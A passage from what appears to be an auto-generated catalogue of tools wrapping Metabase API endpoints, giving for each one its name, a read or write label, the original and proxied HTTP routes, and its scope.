transform dependencies via GET /api/transform/{id}/dependencies GET /api/v1/metabase/api/transform/{id}/dependencies. Scopes: api. metabase_get_api_transform_job (read) — Get transform job via GET /api/transform-job GET /api/v1/metabase/api/transform-job. Scopes: api. metabase_get_api_transform_job_by_job_id (read) — Get transform job via GET /api/transform-job/{job-id} GET /api/v1/metabase/api/transform-job/{job_id}. Scopes: api. metabase_get_api_transform_job_by_job_id_runs (read) — Get transform job runs via GET /api/transform-job/{job-id}/runs GET /api/v1/metabase/api/transform-job/{job_id}/runs. Scopes: api. metabase_get_api_transform_job_by_job_id_runs_by_run_id_transform_runs (read) — Get transform job runs transform runs via GET /api/transform-job/{job-id}/runs/{run-id}/transform-runs GET /api/v1/metabase/api/transform-job/{job_id}/runs/{run_id}/transform-runs. Scopes: api. metabase_get_api_transform_job_by_job_id_transforms (read) — Get transform job transforms via GET /api/transform-job/{job-id}/transforms GET /api/v1/metabase/api/transform-job/{job_id}/transforms. Scopes: api. metabase_get_api_transform_run (read) — Get transform run via GET /api/transform/run GET /api/v1/metabase/api/transform/run. Scopes: api. metabase_get_api_transform_run_by_run_id (read) — Get transform run via GET /api/transform/run/{run-id} GET /api/v1/metabase/api/transform/run/{run_id}. Scopes: api. metabase_get_api_transform_tag (read) — Get transform tag via GET /api/transform-tag GET /api/v1/metabase/api/transform-tag. Scopes: api. metabase_get_api_user (read) — Get user via GET /api/user GET /api/v1/metabase/api/user. Scopes: api. metabase_get_api_user_by_id (read) — Get user via GET /api/user/{id} GET /api/v1/metabase/api/user/{id}. Scopes: api. metabase_get_api_user_current (read) — Get user current via GET /api/user/current GET /api/v1/metabase/api/user/current. Scopes: api. metabase_get_api_user_key_value_namespace_by_namespace (read) — Get user key value namespace via GET /api/user-key-value/namespace/{namespace} GET /api/v1/metabase/api/user-key-value/namespace/{namespace}. Scopes: api. metabase_get_api_user_key_value_namespace_by_namespace_key_by_key (read) — Get user key value namespace key via GET /api/user-key-value/namespace/{namespace}/key/{key} GET /api/v1/metabase/api/user-key-value/namespace/{namespace}/key/{key}. Scopes: api. metabase_get_api_user_recipients (read) — Get user recipients via GET /api/user/recipients GET /api/v1/metabase/api/user/recipients. Scopes: api. metabase_get_api_util_random_token (read) — Get util random token via GET /api/util/random_token GET /api/v1/metabase/api/util/random_token. Scopes: api. metabase_post_api_action (write) — Post action via POST /api/action POST /api/v1/metabase/api/action. Scopes: api. metabase_post_api_action_by_id_execute (write) — Post action execute via POST /api/action/{id}/execute POST /api/v1/metabase/api/action/{id}/execute. Scopes: api. metabase_post_api_action_by_id_public_link (write) — Post action public link via POST /api/action/{id}/public_link POST /api/v1/metabase/api/action/{id}/public_link. Scopes: api. metabase_post_api_activity_recents (write) — Post activity recents via POST /api/activity/recents POST /api/v1/metabase/api/activity/recents. Scopes: api. metabase_post_api_agent_v1_collection (write) — Post agent v1 collection via POST /api/agent/v1/collection POST /api/v1/metabase/api/agent/v1/collection. Scopes: api. metabase_post_api_agent_v1_construct_native_query (write) — Post agent v1 construct native query via POST /api/agent/v1/construct-native-query POST /api/v1/metabase/api/agent/v1/construct-native-query. Scopes: api. metabase_post_api_agent_v1_dashboard (write) — Post agent v1 dashboard via POST /api/agent/v1/dashboard POST /api/v1/metabase/api/agent/v1/dashboard. Scopes: api. metabase_post_api_agent_v1_execute (write) — Post agent v1 execute via POST /api/agent/v1/execute POST /api/v1/metabase/api/agent/v1/execute. Scopes: api. metabase_post_api_agent_v1_execute_sql (write) — Post agent v1 execute sql via POST /api/agent/v1/execute-sql POST /api/v1/metabase/api/agent/v1/execute-sql. Scopes: api. metabase_post_api_agent_v1_metric (write) — Post agent v1 metric via POST /api/agent/v1/metric POST /api/v1/metabase/api/agent/v1/metric. Scopes: api. metabase_post_api_agent_v1_question (write) — Post agent v1 question via POST /api/agent/v1/question POST /api/v1/metabase/api/agent/v1/question. Scopes: api. metabase_post_api_agent_v1_question_by_id_query (write) — Post agent v1 question query via POST /api/agent/v1/question/{id}/query POST /api/v1/metabase/api/agent/v1/question/{id}/query. Scopes: api. metabase_post_api_agent_v1_read_resource (write) — Post agent v1 read resource via POST /api/agent/v1/read-resource POST /api/v1/metabase/api/agent/v1/read-resource. Scopes: api. metabase_post_api_agent_v1_search (write) — Post agent v1 search via POST /api/agent/v1/search POST /api/v1/metabase/api/agent/v1/search. Scopes: api. metabase_post_api_agent_v2_construct_query (write) — Post agent v2 construct query via POST /api/agent/v2/construct-query POST /api/v1/metabase/api/agent/v2/construct-query. Scopes: api. metabase_post_api_agent_v2_query (write) — Post agent v2 query via POST /api/agent/v2/query POST /api/v1/metabase/api/agent/v2/query. Scopes: api. metabase_post_api_ai_entity_analysis_analyze_chart (write) — Post ai entity analysis analyze chart via POST /api/ai-entity-analysis/analyze-chart POST /api/v1/metabase/api/ai-entity-analysis/analyze-chart. Scopes: api. metabase_post_api_analytics_internal (write) — Post analytics internal via POST /api/analytics/internal POST /api/v1/metabase/api/analytics/internal. Scopes: api. metabase_post_api_analytics_proxy (write) — Post analytics proxy via POST /api/analytics-proxy POST /api/v1/metabase/api/analytics-proxy. Scopes: api. metabase_post_api_api_key (write) — Post key via POST /api/api-key POST /api/v1/metabase/api/api-key. Scopes: api. metabase_post_api_bookmark_by_model_by_id (write) — Post bookmark via POST /api/bookmark/{model}/{id} POST /api/v1/metabase/api/bookmark/{model}/{id}. Scopes: api. metabase_post_api_cache_invalidate (write) — Post cache invalidate via POST /api/cache/invalidate POST /api/v1/metabase/api/cache/invalidate. Scopes: api. metabase_post_api_card (write) — Post card via POST /api/card POST /api/v1/metabase/api/card. Scopes: api. metabase_post_api_card_by_card_id_public_link (write) — Post card public link via POST /api/card/{card-id}/public_link POST /api/v1/metabase/api/card/{card_id}/public_link. Scopes: api. metabase_post_api_card_by_card_id_query (write) — Post card query via POST /api/card/{card-id}/query POST /api/v1/metabase/api/card/{card_id}/query. Scopes: api. metabase_post_api_card_by_card_id_query_by_export_format (write) — Post card query via POST /api/card/{card-id}/query/{export-format} POST /api/v1/metabase/api/card/{card_id}/query/{export_format}. Scopes: api. metabase_post_api_card_by_id_copy (write) — Post card copy via POST /api/card/{id}/copy POST /api/v1/metabase/api/card/{id}/copy. Scopes: api. metabase_post_api_card_collections (write) — Post card collections via POST /api/card/collections POST /api/v1/metabase/api/card/collections. Scopes: api. metabase_post_api_card_pivot_by_card_id_query (write) — Post card pivot query via POST /api/card/pivot/{card-id}/query POST /api/v1/metabase/api/card/pivot/{card_id}/query. Scopes: api. metabase_post_api_cards_dashboards (write) — Post cards dashboards via POST /api/cards/dashboards POST /api/v1/metabase/api/cards/dashboards. Scopes: api. metabase_post_api_cards_move (write) — Post cards move via POST /api/cards/move POST /api/v1/metabase/api/cards/move. Scopes: api. metabase_post_api_channel (write) — Post channel via POST /api/channel POST /api/v1/metabase/api/channel. Scopes: api. metabase_post_api_channel_test (write) — Post channel test via POST /api/channel/test POST /api/v1/metabase/api/channel/test. Scopes: api. metabase_post_api_cloud_migration (write) — Post cloud migration via POST /api/cloud-migration POST /api/v1/metabase/api/cloud-migration. Scopes: api. metabase_post_api_collection (write) — Post collection via POST /api/collection POST /api/v1/metabase/api/collection. Scopes: api. metabase_post_api_collection_by_id_move_dashboard_question_candidates (write) — Post collection move dashboard question candidates via POST /api/collection/{id}/move-dashboard-question-candidates POST /api/v1/metabase/api/collection/{id}/move-dashboard-question-candidates. Scopes: api. metabase_post_api_collection_root_move_dashboard_question_candidates (write) — Post collection root move dashboard question candidates via POST /api/collection/root/move-dashboard-question-candidates POST /api/v1/metabase/api/collection/root/move-dashboard-question-candidates. Scopes: api. metabase_post_api_comment (write) — Post comment via POST /api/comment POST /api/v1/metabase/api/comment. Scopes: api. metabase_post_api_comment_by_comment_id_reaction (write) — Post comment reaction via POST /api/comment/{comment-id}/reaction POST /api/v1/metabase/api/comment/{comment_id}/reaction. Scopes: api. metabase_post_api_dashboard (write) — Post dashboard via POST /api/dashboard POST /api/v1/metabase/api/dashboard. Scopes: api. metabase_post_api_dashboard_by_dashboard_id_dashcard_by_dashcard_id_card_by_card_id_query (write) — Post dashboard dashcard card query via POST /api/dashboard/{dashboard-id}/dashcard/{dashcard-id}/card/{card-id}/query POST /api/v1/metabase/api/dashboard/{dashboard_id}/dashcard/{dashcard_id}/card/{card_id}/query. Scopes: api. metabase_post_api_dashboard_by_dashboard_id_dashcard_by_dashcard_id_card_by_card_id_query_by_export_format (write) — Post dashboard dashcard card query via POST /api/dashboard/{dashboard-id}/dashcard/{dashcard-id}/card/{card-id}/query/{export-format} POST /api/v1/metabase/api/dashboard/{dashboard_id}/dashcard/{dashcard_id}/card/{card_id}/query/{export_format}. Scopes: api. metabase_post_api_dashboard_by_dashboard_id_dashcard_by_dashcard_id_execute (write) — Post dashboard dashcard execute via POST /api/dashboard/{dashboard-id}/dashcard/{dashcard-id}/execute POST /api/v1/metabase/api/dashboard/{dashboard_id}/dashcard/{dashcard_id}/execute. Scopes: api. metabase_post_api_dashboard_by_dashboard_id_public_link (write) — Post dashboard public link via POST /api/dashboard/{dashboard-id}/public_link POST /api/v1/metabase/api/dashboard/{dashboard_id}/public_link. Scopes: api. metabase_post_api_dashboard_by_from_dashboard_id_copy (write) — Post dashboard copy via POST /api/dashboard/{from-dashboard-id}/copy POST /api/v1/metabase/api/dashboard/{from_dashboard_id}/copy. Scopes: api. metabase_post_api_dashboard_by_id_pdf (write) — Post dashboard pdf via POST /api/dashboard/{id}/pdf POST /api/v1/metabase/api/dashboard/{id}/pdf. Scopes: api. metabase_post_api_dashboard_pivot_by_dashboard_id_dashcard_by_dashcard_id_card_by_card_id_query (write) — Post dashboard pivot dashcard card query via POST /api/dashboard/pivot/{dashboard-id}/dashcard/{dashcard-id}/card/{card-id}/query POST /api/v1/metabase/api/dashboard/pivot/{dashboard_id}/dashcard/{dashcard_id}/card/{card_id}/query. Scopes: api. metabase_post_api_dashboard_save (write) — Post dashboard save via POST /api/dashboard/save POST /api/v1/metabase/api/dashboard/save. Scopes: api. metabase_post_api_dashboard_save_collection_by_parent_collection_id (write) — Post dashboard save collection via POST /api/dashboard/save/collection/{parent-collection-id} POST /api/v1/metabase/api/dashboard/save/collection/{parent_collection_id}. Scopes: api. metabase_post_api_data_studio_table_discard_values (write) — Post data studio table discard values via POST /api/data-studio/table/discard-values POST /api/v1/metabase/api/data-studio/table/discard-values. Scopes: api. metabase_post_api_data_studio_table_edit (write) — Post data studio table edit via POST /api/data-studio/table/edit POST /api/v1/metabase/api/data-studio/table/edit. Scopes: api. metabase_post_api_data_studio_table_rescan_values (write) — Post data studio table rescan values via POST /api/data-studio/table/rescan-values POST /api/v1/metabase/api/data-studio/table/rescan-values. Scopes: api. metabase_post_api_data_studio_table_selection (write) — Post data studio table selection via POST /api/data-studio/table/selection POST /api/v1/metabase/api/data-studio/table/selection. Scopes: api. metabase_post_api_data_studio_table_sync_schema (write) — Post data studio table sync schema via POST /api/data-studio/table/sync-schema POST /api/v1/metabase/api/data-studio/table/sync-schema. Scopes: api. metabase_post_api_database (write) — Post database via POST /api/database POST /api/v1/metabase/api/database. Scopes: api. metabase_post_api_database_by_id_discard_values (write) — Post database discard values via POST /api/database/{id}/discard_values POST /api/v1/metabase/api/database/{id}/discard_values. Scopes: api. metabase_post_api_database_by_id_dismiss_spinner (write) — Post database dismiss spinner via POST /api/database/{id}/dismiss_spinner POST /api/v1/metabase/api/database/{id}/dismiss_spinner. Scopes: api. metabase_post_api_database_by_id_rescan_values (write) — Post database rescan values via POST /api/database/{id}/rescan_values POST /api/v1/metabase/api/database/{id}/rescan_values. Scopes: api. metabase_post_api_database_by_id_sync_schema (write) — Post database sync schema via POST /api/database/{id}/sync_schema POST /api/v1/metabase/api/database/{id}/sync_schema. Scopes: api. metabase_post_api_database_sample_database (write) — Post database sample database via POST /api/database/sample_database POST /api/v1/metabase/api/database/sample_database. Scopes: api. metabase_post_api_database_validate (write) — Post database validate via POST /api/database/validate POST /api/v1/metabase/api/database/validate. Scopes: api. metabase_post_api_dataset (write) — Post dataset via POST /api/dataset POST /api/v1/metabase/api/dataset. Scopes: api. metabase_post_api_dataset_by_export_format (write) — Post dataset via POST /api/dataset/{export-format} POST /api/v1/metabase/api/dataset/{export_format}. Scopes: api. metabase_post_api_dataset_native (write) — Post dataset native via POST /api/dataset/native POST /api/v1/metabase/api/dataset/native. Scopes: api. metabase_post_api_dataset_parameter_remapping (write) — Post dataset parameter remapping via POST /api/dataset/parameter/remapping POST /api/v1/metabase/api/dataset/parameter/remapping. Scopes: api. metabase_post_api_dataset_parameter_search_by_query (write) — Post dataset parameter search via POST /api/dataset/parameter/search/{query} POST /api/v1/metabase/api/dataset/parameter/search/{query}. Scopes: api. metabase_post_api_dataset_parameter_values (write) — Post dataset parameter values via POST /api/dataset/parameter/values POST /api/v1/metabase/api/dataset/parameter/values. Scopes: api. metabase_post_api_dataset_pivot (write) — Post dataset pivot via POST /api/dataset/pivot POST /api/v1/metabase/api/dataset/pivot. Scopes: api. metabase_post_api_dataset_query_metadata (write) — Post dataset query metadata via POST /api/dataset/query_metadata POST /api/v1/metabase/api/dataset/query_metadata. Scopes: api. metabase_post_api_document (write) — Post document via POST /api/document POST /api/v1/metabase/api/document. Scopes: api. metabase_post_api_document_by_document_id_card_by_card_id_query_by_export_format (write) — Post document card query via POST /api/document/{document-id}/card/{card-id}/query/{export-format} POST /api/v1/metabase/api/document/{document_id}/card/{card_id}/query/{export_format}. Scopes: api. metabase_post_api_document_by_document_id_public_link (write) — Post document public link via POST /api/document/{document-id}/public-link POST /api/v1/metabase/api/document/{document_id}/public-link. Scopes: api. metabase_post_api_document_by_from_document_id_copy (write) — Post document copy via POST /api/document/{from-document-id}/copy POST /api/v1/metabase/api/document/{from_document_id}/copy. Scopes: api. metabase_post_api_eid_translation_translate (write) — Post eid translation translate via POST /api/eid-translation/translate POST /api/v1/metabase/api/eid-translation/translate. Scopes: api. metabase_post_api_email_test (write) — Post email test via POST /api/email/test POST /api/v1/metabase/api/email/test. Scopes: api. metabase_post_api_embed_mcp_drills (write) — Post embed mcp drills via POST /api/embed-mcp/drills POST /api/v1/metabase/api/embed-mcp/drills. Scopes: api. metabase_post_api_embed_mcp_feedback (write) — Post embed mcp feedback via POST /api/embed-mcp/feedback POST /api/v1/metabase/api/embed-mcp/feedback. Scopes: api. metabase_post_api_embed_theme (write) — Post embed theme via POST /api/embed-theme POST /api/v1/metabase/api/embed-theme. Scopes: api. metabase_post_api_embed_theme_by_id_copy (write) — Post embed theme copy via POST /api/embed-theme/{id}/copy POST /api/v1/metabase/api/embed-theme/{id}/copy. Scopes: api. metabase_post_api_embed_theme_seed_defaults (write) — Post embed theme seed defaults via POST /api/embed-theme/seed-defaults POST /api/v1/metabase/api/embed-theme/seed-defaults. Scopes: api. metabase_post_api_field_by_id_dimension (write) — Post field dimension via POST /api/field/{id}/dimension POST /api/v1/metabase/api/field/{id}/dimension. Scopes: api. metabase_post_api_field_by_id_discard_values (write) — Post field discard values via POST /api/field/{id}/discard_values POST /api/v1/metabase/api/field/{id}/discard_values. Scopes: api. metabase_post_api_field_by_id_rescan_values (write) — Post field rescan values via POST /api/field/{id}/rescan_values POST /api/v1/metabase/api/field/{id}/rescan_values. Scopes: api. metabase_post_api_field_by_id_values (write) — Post field values via POST /api/field/{id}/values POST /api/v1/metabase/api/field/{id}/values. Scopes: api. metabase_post_api_field_table_ids (write) — Post field table ids via POST /api/field/table-ids POST /api/v1/metabase/api/field/table-ids. Scopes: api. metabase_post_api_frontend_errors (write) — Post frontend errors via POST /api/frontend-errors POST /api/v1/metabase/api/frontend-errors. Scopes: api. metabase_post_api_glossary (write) — Post glossary via POST /api/glossary POST /api/v1/metabase/api/glossary. Scopes: api. metabase_post_api_llm_extract_sources (write) — Post llm extract sources via POST /api/llm/extract-sources POST /api/v1/metabase/api/llm/extract-sources. Scopes: api. metabase_post_api_llm_generate_sql (write) — Post llm generate sql via POST /api/llm/generate-sql POST /api/v1/metabase/api/llm/generate-sql. Scopes: api. metabase_post_api_logger_adjustment (write) — Post logger adjustment via POST /api/logger/adjustment POST /api/v1/metabase/api/logger/adjustment. Scopes: api. metabase_post_api_measure (write) — Post measure via POST /api/measure POST /api/v1/metabase/api/measure. Scopes: api. metabase_post_api_metabot_agent_streaming (write) — Post metabot agent streaming via POST /api/metabot/agent-streaming POST /api/v1/metabase/api/metabot/agent-streaming. Scopes: api. metabase_post_api_metabot_document_generate_content (write) — Post metabot document generate content via POST /api/metabot/document/generate-content POST /api/v1/metabase/api/metabot/document/generate-content. Scopes: api. metabase_post_api_metabot_feedback (write) — Post metabot feedback via POST /api/metabot/feedback POST /api/v1/metabase/api/metabot/feedback. Scopes: api. metabase_post_api_metabot_metabot_by_id_prompt_suggestions_regenerate (write) — Post metabot metabot prompt suggestions regenerate via POST /api/metabot/metabot/{id}/prompt-suggestions/regenerate POST /api/v1/metabase/api/metabot/metabot/{id}/prompt-suggestions/regenerate. Scopes: api. metabase_post_api_metabot_slack_events (write) — Post metabot slack events via POST /api/metabot/slack/events POST /api/v1/metabase/api/metabot/slack/events. Scopes: api. metabase_post_api_metabot_slack_interactive (write) — Post metabot slack interactive via POST /api/metabot/slack/interactive POST /api/v1/metabase/api/metabot/slack/interactive. Scopes: api. metabase_post_api_metabot_source_feedback (write) — Post metabot source feedback via POST /api/metabot/source-feedback POST /api/v1/metabase/api/metabot/source-feedback. Scopes: api. metabase_post_api_metric_breakout_values (write) — Post metric breakout values via POST /api/metric/breakout-values POST /api/v1/metabase/api/metric/breakout-values. Scopes: api. metabase_post_api_metric_dataset (write) — Post metric dataset via POST /api/metric/dataset POST /api/v1/metabase/api/metric/dataset. Scopes: api. metabase_post_api_model_index (write) — Post model index via POST /api/model-index POST /api/v1/metabase/api/model-index. Scopes: api. metabase_post_api_moderation_review (write) — Post moderation review via POST /api/moderation-review POST /api/v1/metabase/api/moderation-review. Scopes: api. metabase_post_api_mt_gtap (write) — Post mt gtap via POST /api/mt/gtap POST /api/v1/metabase/api/mt/gtap. Scopes: api. metabase_post_api_mt_gtap_validate (write) — Post mt gtap validate via POST /api/mt/gtap/validate POST /api/v1/metabase/api/mt/gtap/validate. Scopes: api. metabase_post_api_native_query_snippet (write) — Post native query snippet via POST /api/native-query-snippet POST /api/v1/metabase/api/native-query-snippet. Scopes: api. metabase_post_api_notification (write) — Post notification via POST /api/notification POST /api/v1/metabase/api/notification. Scopes: api. metabase_post_api_notification_admin_bulk (write) — Post notification admin bulk via POST /api/notification/admin/bulk POST /api/v1/metabase/api/notification/admin/bulk. Scopes: api. metabase_post_api_notification_by_id_send (write) — Post notification send via POST /api/notification/{id}/send POST /api/v1/metabase/api/notification/{id}/send. Scopes: api. metabase_post_api_notification_by_id_unsubscribe (write) — Post notification unsubscribe via POST /api/notification/{id}/unsubscribe POST /api/v1/metabase/api/notification/{id}/unsubscribe. Scopes: api. metabase_post_api_notification_send (write) — Post notification send via POST /api/notification/send POST /api/v1/metabase/api/notification/send. Scopes: api. metabase_post_api_notification_unsubscribe (write) — Post notification unsubscribe via POST /api/notification/unsubscribe POST /api/v1/metabase/api/notification/unsubscribe. Scopes: api. metabase_post_api_notification_unsubscribe_undo (write) — Post notification unsubscribe undo via POST /api/notification/unsubscribe/undo POST /api/v1/metabase/api/notification/unsubscribe/undo. Scopes: api. metabase_post_api_notify_db_attached_datawarehouse (write) — Post notify db attached datawarehouse via POST /api/notify/db/attached_datawarehouse POST /api/v1/metabase/api/notify/db/attached_datawarehouse. Scopes: api. metabase_post_api_notify_db_by_id (write) — Post notify db via POST /api/notify/db/{id} POST /api/v1/metabase/api/notify/db/{id}. Scopes: api. metabase_post_api_notify_db_by_id_new_table (write) — Post notify db new table via POST /api/notify/db/{id}/new-table POST /api/v1/metabase/api/notify/db/{id}/new-table. Scopes: api. metabase_post_api_osi_ai_context_reconcile (write) — Post osi ai context reconcile via POST /api/osi/ai-context/reconcile POST /api/v1/metabase/api/osi/ai-context/reconcile. Scopes: api. metabase_post_api_permissions_group (write) — Post permissions group via POST /api/permissions/group POST /api/v1/metabase/api/permissions/group. Scopes: api. metabase_post_api_permissions_membership (write) — Post permissions membership via POST /api/permissions/membership POST /api/v1/metabase/api/permissions/membership. Scopes: api. metabase_post_api_persist_card_by_card_id_persist (write) — Post persist card persist via POST /api/persist/card/{card-id}/persist POST /api/v1/metabase/api/persist/card/{card_id}/persist. Scopes: api. metabase_post_api_persist_card_by_card_id_refresh (write) — Post persist card refresh via POST /api/persist/card/{card-id}/refresh POST /api/v1/metabase/api/persist/card/{card_id}/refresh. Scopes: api. metabase_post_api_persist_card_by_card_id_unpersist (write) — Post persist card unpersist via POST /api/persist/card/{card-id}/unpersist POST /api/v1/metabase/api/persist/card/{card_id}/unpersist. Scopes: api. metabase_post_api_persist_database_by_id_persist (write) — Post persist database persist via POST /api/persist/database/{id}/persist POST /api/v1/metabase/api/persist/database/{id}/persist. Scopes: api. metabase_post_api_persist_database_by_id_unpersist (write) — Post persist database unpersist via POST /api/persist/database/{id}/unpersist POST /api/v1/metabase/api/persist/database/{id}/unpersist. Scopes: api. metabase_post_api_persist_disable (write) — Post persist disable via POST /api/persist/disable POST /api/v1/metabase/api/persist/disable. Scopes: api. metabase_post_api_persist_enable (write) — Post persist enable via POST /api/persist/enable POST /api/v1/metabase/api/persist/enable. Scopes: api. metabase_post_api_persist_set_refresh_schedule (write) — Post persist set refresh schedule via POST /api/persist/set-refresh-schedule POST /api/v1/metabase/api/persist/set-refresh-schedule. Scopes: api. metabase_post_api_premium_features_token_refresh (write) — Post premium features token refresh via POST /api/premium-features/token/refresh POST /api/v1/metabase/api/premium-features/token/refresh. Scopes: api. metabase_post_api_product_feedback (write) — Post product feedback via POST /api/product-feedback POST /api/v1/metabase/api/product-feedback. Scopes: api. metabase_post_api_public_action_by_uuid_execute (write) — Post public action execute via POST /api/public/action/{uuid}/execute POST /api/v1/metabase/api/public/action/{uuid}/execute. Scopes: api. metabase_post_api_public_dashboard_by_uuid_dashcard_by_dashcard_id_card_by_card_id_by_export_format (write) — Post public dashboard dashcard card via POST /api/public/dashboard/{uuid}/dashcard/{dashcard-id}/card/{card-id}/{export-format} POST /api/v1/metabase/api/public/dashboard/{uuid}/dashcard/{dashcard_id}/card/{card_id}/{export_format}. Scopes: api. metabase_post_api_public_dashboard_by_uuid_dashcard_by_dashcard_id_execute (write) — Post public dashboard dashcard execute via POST /api/public/dashboard/{uuid}/dashcard/{dashcard-id}/execute POST /api/v1/metabase/api/public/dashboard/{uuid}/dashcard/{dashcard_id}/execute. Scopes: api. metabase_post_api_public_document_by_uuid_card_by_card_id_by_export_format (write) — Post public document card via POST /api/public/document/{uuid}/card/{card-id}/{export-format} POST /api/v1/metabase/api/public/document/{uuid}/card/{card_id}/{export_format}. Scopes: api. metabase_post_api_pulse (write) — Post pulse via POST /api/pulse POST /api/v1/metabase/api/pulse. Scopes: api. metabase_post_api_pulse_test (write) — Post pulse test via POST /api/pulse/test POST /api/v1/metabase/api/pulse/test. Scopes: api. metabase_post_api_pulse_unsubscribe (write) — Post pulse unsubscribe via POST /api/pulse/unsubscribe POST /api/v1/metabase/api/pulse/unsubscribe. Scopes: api. metabase_post_api_pulse_unsubscribe_undo (write) — Post pulse unsubscribe undo via POST /api/pulse/unsubscribe/undo POST /api/v1/metabase/api/pulse/unsubscribe/undo. Scopes: api. metabase_post_api_revision_revert (write) — Post revision revert via POST /api/revision/revert POST /api/v1/metabase/api/revision/revert. Scopes: api. metabase_post_api_search_force_reindex (write) — Post search force reindex via POST /api/search/force-reindex POST /api/v1/metabase/api/search/force-reindex. Scopes: api. metabase_post_api_search_re_init (write) — Post search re init via POST /api/search/re-init POST /api/v1/metabase/api/search/re-init. Scopes: api. metabase_post_api_segment (write) — Post segment via POST /api/segment POST /api/v1/metabase/api/segment. Scopes: api. metabase_post_api_session (write) — Post session via POST /api/session POST /api/v1/metabase/api/session. Scopes: api. metabase_post_api_session_forgot_password (write) — Post session forgot password via POST /api/session/forgot_password POST /api/v1/metabase/api/session/forgot_password. Scopes: api. metabase_post_api_session_google_auth (write) — Post session google auth via POST /api/session/google_auth POST /api/v1/metabase/api/session/google_auth. Scopes: api. metabase_post_api_session_mfa_send_email_otp (write) — Post session mfa send email otp via POST /api/session/mfa/send-email-otp POST /api/v1/metabase/api/session/mfa/send-email-otp. Scopes: api. metabase_post_api_session_mfa_verify (write) — Post session mfa verify via POST /api/session/mfa/verify POST /api/v1/metabase/api/session/mfa/verify. Scopes: api. metabase_post_api_session_password_check (write) — Post session password check via POST /api/session/password-check POST /api/v1/metabase/api/session/password-check. Scopes: api. metabase_post_api_session_reset_password (write) — Post session reset password via POST /api/session/reset_password POST /api/v1/metabase/api/session/reset_password. Scopes: api. metabase_post_api_setup (write) — Post setup via POST /api/setup POST /api/v1/metabase/api/setup. Scopes: api. metabase_post_api_slack_bug_report (write) — Post slack bug report via POST /api/slack/bug-report POST /api/v1/metabase/api/slack/bug-report. Scopes: api. metabase_post_api_table_by_id_discard_values (write) — Post table discard values via POST /api/table/{id}/discard_values POST /api/v1/metabase/api/table/{id}/discard_values. Scopes: api. metabase_post_api_table_by_id_rescan_values (write) — Post table rescan values via POST /api/table/{id}/rescan_values POST /api/v1/metabase/api/table/{id}/rescan_values. Scopes: api. metabase_post_api_table_by_id_sync_schema (write) — Post table sync schema via POST /api/table/{id}/sync_schema POST /api/v1/metabase/api/table/{id}/sync_schema. Scopes: api. metabase_post_api_timeline (write) — Post timeline via POST /api/timeline POST /api/v1/metabase/api/timeline. Scopes: api. metabase_post_api_timeline_event (write) — Post timeline event via POST /api/timeline-event POST /api/v1/metabase/api/timeline-event. Scopes: api. metabase_post_api_transform (write) — Post transform via POST /api/transform POST /api/v1/metabase/api/transform. Scopes: api. metabase_post_api_transform_by_id_cancel (write) — Post transform cancel via POST /api/transform/{id}/cancel POST /api/v1/metabase/api/transform/{id}/cancel. Scopes: api. metabase_post_api_transform_by_id_reset_checkpoint (write) — Post transform reset checkpoint via POST /api/transform/{id}/reset-checkpoint POST /api/v1/metabase/api/transform/{id}/reset-checkpoint. Scopes: api. metabase_post_api_transform_by_id_run (write) — Post transform run via POST /api/transform/{id}/run POST /api/v1/metabase/api/transform/{id}/run. Scopes: api. metabase_post_api_transform_job (write) — Post transform job via POST /api/transform-job POST /api/v1/metabase/api/transform-job. Scopes: api. metabase_post_api_transform_job_by_job_id_run (write) — Post transform job run via POST /api/transform-job/{job-id}/run POST /api/v1/metabase/api/transform-job/{job_id}/run. Scopes: api. metabase_post_api_transform_tag (write) — Post transform tag via POST /api/transform-tag POST /api/v1/metabase/api/transform-tag. Scopes: api. metabase_post_api_user (write) — Post user via POST /api/user POST /api/v1/metabase/api/user. Scopes: api. metabase_post_api_user_by_id_password_reset_url (write) — Post user password reset url via POST /api/user/{id}/password-reset-url POST /api/v1/metabase/api/user/{id}/password-reset-url. Scopes: api. metabase_put_api_action_by_id (write) — Put action via PUT /api/action/{id} PUT /api/v1/metabase/api/action/{id}. Scopes: api. metabase_put_api_agent_v1_dashboard_by_id (write) — Put agent v1 dashboard via PUT /api/agent/v1/dashboard/{id} PUT /api/v1/metabase/api/agent/v1/dashboard/{id}. Scopes: api. metabase_put_api_agent_v1_metric_by_id (write) — Put agent v1 metric via PUT /api/agent/v1/metric/{id} PUT /api/v1/metabase/api/agent/v1/metric/{id}. Scopes: api. metabase_put_api_agent_v1_question_by_id (write) — Put agent v1 question via PUT /api/agent/v1/question/{id} PUT /api/v1/metabase/api/agent/v1/question/{id}. Scopes: api. metabase_put_api_api_key_by_id (write) — Put key via PUT /api/api-key/{id} PUT /api/v1/metabase/api/api-key/{id}. Scopes: api. metabase_put_api_api_key_by_id_regenerate (write) — Put key regenerate via PUT /api/api-key/{id}/regenerate PUT /api/v1/metabase/api/api-key/{id}/regenerate. Scopes: api. metabase_put_api_bookmark_ordering (write) — Put bookmark ordering via PUT /api/bookmark/ordering PUT /api/v1/metabase/api/bookmark/ordering. Scopes: api. metabase_put_api_cache (write) — Put cache via PUT /api/cache PUT /api/v1/metabase/api/cache. Scopes: api. metabase_put_api_card_by_id (write) — Put card via PUT /api/card/{id} PUT /api/v1/metabase/api/card/{id}. Scopes: api. metabase_put_api_channel_by_id (write) — Put channel via PUT /api/channel/{id} PUT /api/v1/metabase/api/channel/{id}. Scopes: api. metabase_put_api_cloud_migration_cancel (write) — Put cloud migration cancel via PUT /api/cloud-migration/cancel PUT /api/v1/metabase/api/cloud-migration/cancel. Scopes: api. metabase_put_api_collection_by_id (write) — Put collection via PUT /api/collection/{id} PUT /api/v1/metabase/api/collection/{id}. Scopes: api. metabase_put_api_collection_graph (write) — Put collection graph via PUT /api/collection/graph PUT /api/v1/metabase/api/collection/graph. Scopes: api. metabase_put_api_comment_by_comment_id (write) — Put comment via PUT /api/comment/{comment-id} PUT /api/v1/metabase/api/comment/{comment_id}. Scopes: api. metabase_put_api_dashboard_by_id (write) — Put dashboard via PUT /api/dashboard/{id} PUT /api/v1/metabase/api/dashboard/{id}. Scopes: api. metabase_put_api_dashboard_by_id_cards (write) — Put dashboard cards via PUT /api/dashboard/{id}/cards PUT /api/v1/metabase/api/dashboard/{id}/cards. Scopes: api. metabase_put_api_database_by_id (write) — Put database via PUT /api/database/{id} PUT /api/v1/metabase/api/database/{id}. Scopes: api. metabase_put_api_document_by_document_id (write) — Put document via PUT /api/document/{document-id} PUT /api/v1/metabase/api/document/{document_id}. Scopes: api. metabase_put_api_email (write) — Put email via PUT /api/email PUT /api/v1/metabase/api/email. Scopes: api. metabase_put_api_embed_theme_by_id (write) — Put embed theme via PUT /api/embed-theme/{id} PUT /api/v1/metabase/api/embed-theme/{id}. 